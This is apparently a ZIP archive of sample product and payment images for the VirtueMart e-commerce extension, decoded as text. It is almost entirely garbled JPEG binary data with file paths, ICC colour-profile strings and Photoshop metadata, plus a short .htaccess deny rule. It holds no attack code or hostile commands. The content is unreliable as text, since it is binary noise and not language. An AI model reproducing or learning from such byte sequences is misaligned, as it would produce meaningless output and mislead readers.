iFmLIdTKu"(@L052hluQl$+`2Ydom1w?z惬e TO1Om+FUЌF0k: 4%P{$ɍ,|esBZRH]<[LT}#XH|00-h>^ #¯,񆗩hkfm,%\s$ TXoBpƿO~-M$q3K,K4+<+;3{7wÏ_<:%5?57]JMOyk]/ nvXh|Ik_?l<7z/̿ Znookikiuj1*- IXת( ( (?5ि $ռzuG4J_؂Jw@2gsk]1o;tsM|'|~/&X%𭯀5KwM:35qK{;X?߂?goP ]j]W~_+um[TY`$ָMg_&OS mW?d-Gƿ/Ik]A I"C=ƹi$Eҧ_)x5xgEʟ43: &G?.lb6La߂Aڀ>>~տG~ֿMCa&|)PdK4I5WsGp0+k((((~"~ĿWĝF]Ծ[xg5׉~귟[\]-Au!/wWMRm36PPmI3>GE|K'᫨/(I?%ձ1~ϰҬ4.MӬ-OK;+(PH(PU((((PKs>\Kcom_virtuemart/assets/images/vmsampleimages/category/power_outdoor_tool.jpgnuW+AJFIF,,CC" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((Gٓ=χ4%Xm2Էu̶OʦmͅV ۨ?U?kL6zOۣY]|:;nɅ2 \e_D|~ tO_|t/v?bxOiv喯QFAjvgYkWwHꢊ ?Z_ρ_>21x C|Q [Sm>]{ɭ`f1F((((((((((?k(k:$ɤ|~.7(͎E[Hgmơ%iB)jh8mޏ?-Gk{=cJ~0TE2@=.՘Zh.Jpw|m6L1xuϤ|?|eL zKG_|X7썠kHw}.+MWZax%Ldv k JW37 j_gƛM[R毧|=,4XvDq1~vA|C{~/xYz|]sqdT8h;$9 6X_^-`ѩUܟH~m/33?e׎^p˜gyC5>V,-uԯB!-8NJ0rj'CW/m D⷏b>,x{u j(<ᨮXaΗ(֮B)4Io:/7ŏm%eơo i~0Vү&I)CGKGK4e9rOPJnQѴM?WjM/|V}<"2U*ԩa^*Q}^YT,77h 1|(<__nզfMfyRsJcVUgX wW_O|ya|[gmKxGNyx^'Վy&KQhV{aKR47YY g`7nKR7)堑벿N_4۟>/i9x+BO:D:=i\(3^Mw3^L^iƛ yj;xQt_ k4d5[*x!띌ԒNǞo1ż"^UWwm+s=IoB}8-?r덱Ν,rX^3ǵ:iu5heݒ쯊>4 gm7HuϊmKvY-ϛw=17B3|O 4شYAupBd‚$wf$ q:&]jm-(!7*Wdܦ?wO n[L3 h87X裣?`ۆy~Yf{8DBwSVmflˌ?OcƖʂCR>!)sjd7^(7C`g:WαRH~*;_xUֆ&5#k'{+וm[?d|18_1`iSUUZTaRi59h{z>_Y8Ό*z;  Ŷ zaϦ7}kFlH%d!Hx~p~վ4?=Q X4/My <ȐZ2'~|;|3gk–\~|賃_˹*}[~|_ng%%5Ν,I6-nTpJ)?rwSMɗd͗%mD6Y )yG'Mv&(M Vo'{6'G FQ7oRZ dHSp7^i֟>+!YNG*iMJUh2PT+y2,|(֝>f!#sܬ{Bnx}E}Q?% Y~xl ]Owi-ͭlo2[dc'̖4I!(S̎|+? EDh?'Nii?L=K {q"yS2ƁXB|Bn?▛Q_x uh<_+|<װt#_NDռFͿ߃uO _íFA`|7{ $'ʖmwrF6fg(扱9PI`d:^^g~ RUpENWvzk+%ɩ]=Lf/x dRuN4J2aGNIJ*]7F>%Ţ|5ioޗ:(rmͧoLꁖD|2|O=SU%b_nN%H<>Ii k{hz D#t0w.Tnsy slm,-fKK9OW>p`LwJet?\9&Yf# Kc Ni7PiA-*mUPE ~Nc -&s^Es{=0KA|-nχ9jmHS+"ٝ嘓ɮ*M(((((((((((((((((((((((((((((((((((((((((((((((((((((((PKs>\)>com_virtuemart/assets/images/vmsampleimages/category/.htaccessnuW+A Order allow,deny Deny from all PKs>\  Hcom_virtuemart/assets/images/vmsampleimages/category/jacket_classic7.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" 5KeqN\>Gi Tyе1> 2ԯ#~vS;EiT'CVbկ@"m}?4N)ej'֪ܖ7:x)Hn\g@SC; ~W\9)-}/&g;ն}H^hA8xJ9\dE+M g@YIYIbRn{϶$~~ vg2t0:R-+tr>}bV$~#|XCھоw>SܱLKf:rC=c> q^{,T<|}R͹= cb9H9gÍRukT,"bFUS<2gk{a(1Xk\P q fm- 13!"2#4A$0CB)0G9K)SX(.UqAzM^SU 3]Qh8E.y}rc]?W%TR(\P@=A /\f fw"94 JlJ+2DJ w^&(("ˡiY`\evPv[%daVnG~hT廩چYfnޢZn;*Wx&ē v"s&yԊjo='nTpfEEY>xQMͻyI[朲iS>o|oTOzE%a[F{Bm0aҠIw jmLѳsl͸6ަ'~FteU;aȊwL D;Mgee-7M9{|Y~:a(#s'x>nkQPl)tKȩ[0j)q/L ~#L`b2ɗKN=Q}x&RF?I1XBw| -SqQ9~PW.]h T?2l$B$b,-cqzǛ 9biZׅM*n4}4tܶ0nY,qMdrEEjuT,lX2i]ZV&7]ZjfdwRdu(-(^5.b?%Ivm2_8D<.gaWg '㺼G2vN/DƑXRhcΟr*ڣl7ȹXk_TQ/åmSG^R8VE:@c*>u1jBzY,:2"f}=Aiu`2`RMs\^4ў0W>U͍ l&gQVf,T83 6wἦ*1/^k7]D"u Τ"C{B^'ILahv~ X>~44ߴSisIs.9IB +#DMAEKm ]C񟺻 VfV Vt7aӀɴ\&&~,6kg['+CI8f5 ׅ0\ Bv^p.p+^76<эv[ 1||PM{Z\ܻhmr7G@/n:YBhkr(!1 AQaq0?!¯h.3iD61_{ba@Az?r˖H@4Tx7Fp9Uʛt 8ơY^\]Yyz6Ƞ: KD=Bat |%4SМV]˔͛Gx@%%APؖFn ) @iQ y8kWצ0&5lfY.ZغԻyӯ*TBT:?f]hǿ9Bk5 Lq$ p(uC: t@}0[YE{\qm3%OaRC1&B+[oQj>)7S򉻭#1nڂ.OLR=<~ر2PRETJ(I4`I݂ysj&5˕X}~~w%}HHQaF1QR_`;N-*~WPcFѿfm4ng1.ZEa`ilupW(kTA%fD~y=@'Èr\ URŧyiQd9=c~%6\gƟHv!̅ut2GQ oR}8C@'XC!OGUy47@ .ހ=/G7ꚦWⴾ H|qx{&%E,#hg :y!#X, a{y}v3xUӂָːxb -z_ @ CPx[b{o?N]݂k܏N~s~SuI})]~i{5+멙OPoĠJaY'>i`z? ,J0<0@$qO<l=ٲͅ{C'KlVvwIth\ (5`v!S݇Գ碌8(u50'Rtw+uP=15s|jxtJ[8v\\V?J8ҫǐr,8Vڠ{fp6xN>p_ ?A#Qa^sueK egCu*Ž) ['Ru3h+F>M")pOQW0 5W{Y. wqIt*6f30oM)xkҼо fi?ta|A6>'&;ks3:wUxb`~%z {#: vq.)$!0Kw2|2tv2B#6gMsJ3N&hLf*d\]KOd_<b5` 45mo 0݃l3I At}0:EwϤ.Cwf!\9GRwH~EC)\MK!- Oq&6Jx*ʕw}Gr{Tˤhb%1vWA ּ ~̾ lcQ\BXOlhtQzPcW)U&A}ߢ1qa}W*!PD#hXZJ>F\!gyQ `3(RC$hYw16J$̊ܥnٔsڢhL)2h`PKs>\wS* Gcom_virtuemart/assets/images/vmsampleimages/category/student_hat_16.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" Mӡ9mUsukRdnι .7}v1֢1yOu$ᴕoܧ%8.t{-kz_Xü4x thhh]eJowF< niqAF\%ueY7r=%^RL%ǩ B,U8F'dDV>DEf9>:,h5wvB"~2uC{EE2'uommE]=?U㱱ƟLhtc*BOp?p?3!"01Qq#2a A3`b$@R?5+{@pU:+O%Yy zpZjwV7W ᵭVebUX*Rey,UwT=Wr7R3FV\c %uċ +0ԫ,c{lUf+ᢔnv:U~&w伧?ÚexG" {Rb)ɍ^J*W Lq1!C E5I0K͊d%z/y0b5]]b6PrcٶlV_`;]L3ID2!9`^@(K <<<<<<8D<<1aM< Q<,#$c< <,0$<<,<<<<<<<<p?p?(!1AQq0a `?#ݨ}nSe<̻S} ܾS_.c-K : ( 6Ot>qZXjPa _ZTJ83 0;",qNUfQw̵,XB]?XŝMYl&p)i`g,:f=~ BhoUZ}ʁU -}O,gڽ=xzGs4d U( 颾X=4>-rʡm Vv&,FVO8"R=S쀼)ʲwсqΙߛBm 9 ,{M-d"JKJX|KωU!FDUXzJ+чO$aH'k=mmց}xzcb%ۻ@ؠi:#:eK4QUu ҃WҮ rMDҖբX8%f7M+3H}XE̡ z&`82Ur\h.Fcom_virtuemart/assets/images/vmsampleimages/category/black_dress_2.jpgnuW+AJFIFHHC   %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" xIOū 7p>Ǡ\lk,f!8#B9gU>f;|O]4L$*\ZI0DkL{<WD1q `b10k Nݧr~Kk}]?0yM#TČZU/Ɲ ե>FF7i.I6D "?3ݧ53wd$!( dc,?4k<9_]~v 2);}!*q}7&hjz$>=?) !01@#$2Bj.AZc*$=?rߌƘx1.L!~鴵Jc;!1, :~+[G|`=_WSar^m$ɟ9~9 KM*Z2LIQC{^q-7i=S7RBťZk^CQ\X+؟=vQ黱(8v )U%dæqqZw2Mb9$u(O+x'gH8٨78,|pF>Fg.UT ,[޴x|F@8sLtJqp³ %'O؉Cad]ܠݥ+6;SkĂS7[YW1$p9Ti*4OMNXUFiAf@k%jcj\dwz/\V :b 4qTxEBcރ8]5C "t CKԖD6ͫH azp?p?1!1 "02AQ#@aBRbq3C?Iti 2`IϺzSхS"\fby}̳K3f%cYS2c;V4 e dO ;<_Ea,McпݕQ嫤fI-zC(}r[A$R%'e2 MfYfvc 4DPe(h#MYT񋹢)CA P!g40RN!fݸu9I={'psASB I36yG|VqMz_G%s ]=Tt 890t5VhinK?ҵDas&<ф4[\3hUp)(QpQ4/qE;_h3CnK1hPtRպBI]phs~ƸKSt/ܿ nL$ OxX )B˜X}DP(.V?&!1AQaq 0@?!+{'*>` P|+5^̺sً@*3RoybCMh`#<4JoWoᆧ~1Z~ L5De-@#ƃQk,}Ug Qcˬ^+8,EXcU FAbݒOUUpL<3-c()YmYcu4,ӐhrB`xeՔ1c"Ŏ kc`YwU1c:1q;>ҵUtϘF1c1RFe D;1gMy.⎙q*iR}gUJ3К"ŏcHt7 }4oc \VU1*zc/5s3Qg8OF`"j1<~%SBؕ^Rml&z\IFE%G{('d-s1d"o. h <҈<<,4<(L<,# < < <<8(sO<4!G8!H̤(;|>|_t1.xw cz_W B[סSUu oBSx; 9դ0ri&B?S-U[HճVQLU:5`o)3(]hE`𕠶V`3( ٙCf#XxbXYm^]^ peڸx 覌O@=+Y³H="׺eLmr~pXcOvRG(₮D0:^ɯՙǵC"=љJ$)tt*|IBp=]W td쟔( }/PKs>\౑Ccom_virtuemart/assets/images/vmsampleimages/category/hand_tools.jpgnuW+AJFIF>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222w" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?( ( (W<|a{x2@| 8kм߆ uQ_?|M孆|,ܶђn2xӉm2ГaBOPZ(((h((>Q|[ap$b$ees־~-?tO]KO=gq^W}뗏ⷎ-,TgMD$c_ǃAJV08 *۹]):=z$׀ k007|4Y$zǃž Y `c .\JA Jcom_virtuemart/assets/images/vmsampleimages/category/power_indoor_tool.jpgnuW+AJFIF,,CCQd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((n.- xmmi.n%X`DU@$p ~~/oxWěk|*ws-ܷYh\s;oAu!N<Q'xP%}]vM]744_x/YMIx/3^1{KEKaVR!2?_ȴxG<[{{t o_&XFm'Xa"峮EӒKK̜TŴ;9.xfcL;W3%UBu%Մ%hbFSjE9/֊2MKo|u@2goxx= ,om5_7?|;~td9n!;?ko/$<'sgCh=FFxbFI53Űq\M"WMᢹJmNo + jZp+mN5=Q?xZKKnk(KE{c8*x5Mb_?ZWXk+Yi.1(\gO'|[,|s 7}e:K#UGm"Oe @hw?y+]Ѵfgy}_IE^"e{w۞ڰs|bg)BMK}'_*56K]TQy~558^('jO_-pE9;t'˅/c//i3Z%Iwl]^`67Tv5Eco w!Ӿ$|G? 𷈵AWO[|Ǧ UoU>-5;ZLͧ4z syL[\tiaNUS.)Vq9ZQtk'VOB,߲oX\|5dz"=h4? xv+ K,m;8=Ķd&+ل\`# ,n#W(((((+ <|A~ǟ>I=[jq꺧u+Xc*?N2#<$+ħ|idv^Ԁ+hVtkx3rN 󬡯aӺsJSkn)?&}VYqKg)&'Vϕujœ}Rmy+kw׀5ςTNL ?v+CB jlE lD~(7ꝘQEQEQEQEQEWs?[[j,m^[;MAf昀O+N8Z08l_-+ѭ S\d;r8|.Zg {P]٤y ^U>"ּ7ivm>+Etg+W-Az5Up8JX=8RJݖF7[0-*JSKM--QErQ@Q@Q@Q@Q@Q@Q@PKs>\://6com_virtuemart/assets/images/vmsampleimages/index.htmlnuW+A PKs>\`&&Acom_virtuemart/assets/images/vmsampleimages/payment/systempay.jpgnuW+AJFIF`` XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmExifMM*JR(iZ%d%dȠ8C      C  8" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?'=x7~jbcbガ˖@z XߵT މvھ 2ʍB.0Wɟj+ Z ]2Hc"^Tc+r>5g0 AƥDo'ƺ1>2ֿ1 xfYU1 mG2Xȯ zY2ŽM s#װ)kπ-˩_'F~M>T?Ds`8V8'&pե]:CG/SPII^?'R+K_(!`:@\Bwc=$j -ƞ=|;Լ<.UnX;Uœ'(aWJ''dWkG[E,R* ah(h0= `zhŢo.-RXg@7mŢќ0@1yyz|H KMvaRI?wės+H'V; ~!.M<E? F>ZF>3ßVec+k3+2c3SIY{n}Gh~7;XտEΏ=:0( *g,8瓟owK}Cvb5 I'Una[?࡚ [Mڥqy 3 M "ITak#pYAܬygk)PeM^rrm&7\KWTTn1vIhW7VrF1qIǽSfI mrpA {GWŝ _UxGTWbRpry|r6E}F$1J<[F!psW:%;4~$'"w^*Q%iZ mKH2#t  O 5˨=,S;^OԬt:XX˼y88\c5taK8&IY_]NjY(#R#rM4kǟoP֞M-cy$@2Rp2ךߴMo[y%OS3A% S5yI[uۆr\LW7_PO'!l&xc3ia1e^7ЦM'N'(Ӻ]#( ^Y|E'Fҧ[V՜i&i⏌'~>giZ!v\<`Ҋ?_/p kQa;$qE|{؅|OG\ 8J+tR~;if<7nYFvQsHDgwU!nu xJCAwf CPGPG G",l/'gNQŭKCy eNnFF?>NJ :5)C{5z|2G,-NzE6-ldo _i+Lzu,DWGC~~_ umw7;IQʭ"E X rЬPTFBe 4Vsk$C xk>Jg|߇\CS5CҔ9C^'n~<`uۘ#[!ܶN3XI><%8ђFy`SS__ 혼BQ? iE,m#.OS_ 7M_Owݻ2ʘʔ˕PN۶˲H}ee5I,Dqu#^9iIs<~'M6噤y5J 1\|]\+nsas_B襁_WmLuE s,;nw {=W!kP'xR= %ޛ?F}@|{Ko^ 5uek=&K@(X;=11Sz7s,VSXzײ[ZUFOl./uE}JO>IÒX1#oѬ? xz.;O 2AɯOŰ\ik IwC$nVd8P[z}֟sZEuSm [<*aĖ1] N:Iݽ;dSx&I^ٴo~u[iͼ 3G0 i_<弚&y\y71T ~/aύ4Im`.CDswMCzu=/L,.;)NԴkdYp?G"&{h|K~Is `z/=twıhz4ym`{Kerw` ]![~5|eyc_s_]SܘhCFA`Ak۞upF<ݻ>;)̣ NuyezŻ= '9+#Z1iڱƠm jGBog@axƚ߅"֠~x <׻ Bct&XV@$ä8,) σ㇃|<ڴ)LY] (R n޸^^0a*t[>b)Ew٤C?~o=#SMuytu 㵳9 m~`z_?~:пlψ~_n]QnY0=:_.W'GS_ND|.čg×^׈eZ;)Voo(9w~G]'[Ew/Lw.˷z K[U^ֻ{sX5<;s5R@ׇ'Yi,1X@ă "U((IɽY*j8-u2HE"@֊)[I&;6)V/db=Yd>Е,}jc Lz,($vQ]o08n{]!]: -5?QWz=:eCapD UQɢ{q(aEP/#DWvtK[;{ᜑ]?)QE8gQsEx^9xDԡ4-?Au[/ c#G)¬{T;zƓdΙA<1HlcXAW]4Q^s*5| YJ;^CWX'CO]m5;},bH٬/$q$18l<t.> x+mJ=>k .öTxثm a *>KjCX]zeO̺5Tk5{y-Г i?Tf%P[I'h߆|Kxjz},w2U@#8% **bN{S0qz5m} ~WMi}La}{bwqmb?|]Z{? @,/Kf+)fD T89(OV2Vo]5<8Tͻ~,ξ#׉5j6viwupY5;%0فN; ~ >+]O jɯXjƩ6)X-eI" ϽՔ1)U&ȇa\iݯп| 7\E8cc>com_virtuemart/assets/images/vmsampleimages/payment/payzen.jpgnuW+AJFIF,, 2ExifMM*bj(1r2i-ƶ'-ƶ'Adobe Photoshop CS4 Macintosh2010:05:21 10:16:00d1&(.HHJFIFHH Adobe_CMAdobed            1d"?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?\:SѪ|sZU/@sr}T~R^۬mͰx}<4=kAh=&ݹV121|^b9̑Ǣk;.:~sF"}Թ#I%VvO֫io_36Ĺ]ȗfjCW0X,[§?1j( N6ՏwJ&;zBIrO._z̯"q`3-`&5I1e~roi}[a4@4{D]' S_ Sk7W]&*qi ?uK*X2~Fwv acƼi"5hr_c9q a,y1#%+ G_wK95q8qm+hH4rS2Ȱ=7#T첼<;lu$1cq:<&lDaYcMt01ܮk.nu0P#O,sYgo-z^1δSH1&I$5P>ُxqa1p~9JP`~Q$}5hwЏ]#F$ꥯu g/xoč U/ ;@O.1 ֗1\ #՟v<%. __ ~CGU>`3CNEw9 >cHV~yIuUX纊Xfղ7~ջgVϧj437 md5gNӱǷsC=nȥvC"'iDUhFn.4bX?\o4bӕvױLo/ĸEUa.se,/E=C 3mg@ Q:M2!ğ)14~[sj5@h2NՕX?7U9A߼Q1@ V :k'`#80Z!6/%CYrk6+K$}OًY#kZ9Q7֢  t ZG=QOғw$lߢԾjI%?M$eI%?M$eI%?M$eI%?M$eI%?M(W$?I|ؒJPhotoshop 3.08BIM8BIM%\/{gdպ8BIM++8BIM&?8BIM x8BIM8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM8BIM 8BIM08BIM-8BIM@@8BIM8BIMnullbaseNameTEXT UtilisateurboundsObjcRct1Top longLeftlongBtomlong1RghtlongdslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong1RghtlongdurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM d1,9lJFIFHH Adobe_CMAdobed            1d"?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?\:SѪ|sZU/@sr}T~R^۬mͰx}<4=kAh=&ݹV121|^b9̑Ǣk;.:~sF"}Թ#I%VvO֫io_36Ĺ]ȗfjCW0X,[§?1j( N6ՏwJ&;zBIrO._z̯"q`3-`&5I1e~roi}[a4@4{D]' S_ Sk7W]&*qi ?uK*X2~Fwv acƼi"5hr_c9q a,y1#%+ G_wK95q8qm+hH4rS2Ȱ=7#T첼<;lu$1cq:<&lDaYcMt01ܮk.nu0P#O,sYgo-z^1δSH1&I$5P>ُxqa1p~9JP`~Q$}5hwЏ]#F$ꥯu g/xoč U/ ;@O.1 ֗1\ #՟v<%. __ ~CGU>`3CNEw9 >cHV~yIuUX纊Xfղ7~ջgVϧj437 md5gNӱǷsC=nȥvC"'iDUhFn.4bX?\o4bӕvױLo/ĸEUa.se,/E=C 3mg@ Q:M2!ğ)14~[sj5@h2NՕX?7U9A߼Q1@ V :k'`#80Z!6/%CYrk6+K$}OًY#kZ9Q7֢  t ZG=QOғw$lߢԾjI%?M$eI%?M$eI%?M$eI%?M$eI%?M(W$?I|ؒJ8BIM!UAdobe PhotoshopAdobe Photoshop CS48BIMmoptdTargetSettings MttCObjc NativeQuadBl longGrn longRd longOptmboolQltylongd blurAmountdoubembedICCProfilebool fileFormatenum FileFormatJPEG noMatteColorbool progressivebool zonedQualityObjc ZonedInfo channelIDlong emphasizeTextboolemphasizeVectorsboolfloorlong8BIM-msetnullVersionlong8BIMms4w8BIMmaniIRFR8BIMAnDsnullAFStlongFrInVlLsObjcnullFrIDlong!3FrDllongFStsVlLsObjcnullFsIDlongAFrmlongFsFrVlLslong!3LCntlong8BIMRoll8BIMmfri8BIM0http://ns.adobe.com/xap/1.0/ XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmAdobed@1d      u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ﶻYgp ݛ(R*rSMj%Uw֢Ií%.=};w&m3&x%0Mys,*VK{[u#f[|Hㄉ5v#U3nsUOOStּ귭pLjIY:aڵAwlpUE4z$~z*(`nڳ,OyFk0qj Tkoe3sp o9m0=LjP/Sδ꺠еlٰOa""i'Y\U,Nb NV6}`۶ͮZֆUXєYMX`#D2GL3/wfjo\y.+(d(i֔\ fӬe2ɲVV7;:vdu,emLi#%dqcZ{#5m:>Ρ樠C$*rI&#5m: ag7%&^9\Q#E2C*Z$zs2Ѿ;o<7&YȎDdIL0 æ"L~` %5BouYأnyoռ4׿-><Lշ?zg?~[Gj ?uhw˾Sd6jmR3{k$2=-F>v#PMH] Oo( $m,XJjO=ѢHI -*d`hLh7B2sI?}zVV?o~jo]'}>|)qп?>=mA6b7/>=Y(Q)TM&O$ UEz /MSAVhIX)j?k7 y.vctkf>~JZ HEAnڵ[l쟐5;sKCCOA'xY\o!-,"Z)#)jy-6$q>qy?lwc{{]22|=bV-VBƥlDO6K3]_EX]OKtF(z\QDj+)i9SQ,$Uۭa zyGty夑FBAJ7?iB[Ջ<$X:vi:Rg7;_))Zr[rhdH yJx#77sac2C)2.VGuDǴ;nq ;"rZ_8_*Y6'\${/iqXm\Jul5~A[fX{A%2sB^鷸PM%X1]D6T P}r-Yr)UͬzK $PASF&"Cr잰:NN&Ӣs#K'[m=nڪ9\C<Ӆ$SU"Sz$hP]q 7mϸFHU0|Tעmv˙".Eڞ92+"h4N"p^.& Vޱ=mq58Dz-׵UT4uE>xD r~bmFD;!uzGH#YFDk+P-[rMzڷ9mcq:4zY%2)V%H$ ݊/wO:t_ֵ=_WOUw^6QsϏщ&ZLs*1\58wY/MLz?fƧ]>B]MvcUչ$z\d20IE̚X%W%QM97ӓߛ;O\(nV-qTVDvV!N A*Y^xކ~gᒾm_xbM]5TR=^.UDAW枞)F "H JҾ`P*= =ӽ7{{7[zR)3U %>ءC/̕C -liYi#.llun`愂v[XH࢛FD(TIJ -wVl3K?y|GJYL\&[7*2؜ Td*\e@g3ƳEnkض}6dڮna T+Du[Ooq J0R7"jQсWC13GǽU4&߆%hřf) Qu5"H{}uK{-=ù\Z97Ι,ںۢ4w[BVY:lbVqub;f`& H f 5Md@k,< B l-#ۭX5ƀ*"*U@@O #wGwoz[v%bis;73Ƀ_]i4cZ⮪aQ ,5|q]Ɨ2-#Hc1~#a CݒM/9J#Ye $ 5p4UA'C;WǨ+l ~4 IPQ-[]6Јe2uB0K&z@knvۭ6m+(( rH]DZ$zssf.7+`V,KZ |"()T򛏣Ol;OvMݷjCxb7&[_hK>PQd~4*wX0katC0 eW53O*-po}=-~K+M?RZtbuu|]. 6Ya6)ۓÝF̵8((+cgMPc mn) wlhxs_ (tPԜmٶ.#hZ<ıs[b+u8.M(t29[jͱAڻ+uMÛT7wmMWN753(+2eG Сyn}kH{eC YRvs",k6vFMrSg*/JXO=Awno֘7=Y-MV:TB^3w2RX7nmvLZ>f9&DWy[xEɗԛSucTb&%|E#7F#P-2jGj?б_O}OUYEp1ufOcU\hcTxy*'C#).zv+T"@B~Rx>|:nvnʉ!,N0zO&z;oZWv͋E[K#]C#]W$P,5G7K,OIO, RJbGX[pܬf *jI'T}'(o2/%[JPTv( H_F;J+Yjsc/.{'y %u&-UZhLʆ:oz=n0m̞+JBh* Ijh_6ϻܻka_ ,,O8*Uq CR3gY-uS' SV@%7*b|?&ͻnv>H $r*eIZI4497U[3.ʲUt,g?}z;.ymi95t[s;̑K%U),VUӴr3oIX-X F]zvnm,m7NݛqSUHT%zk 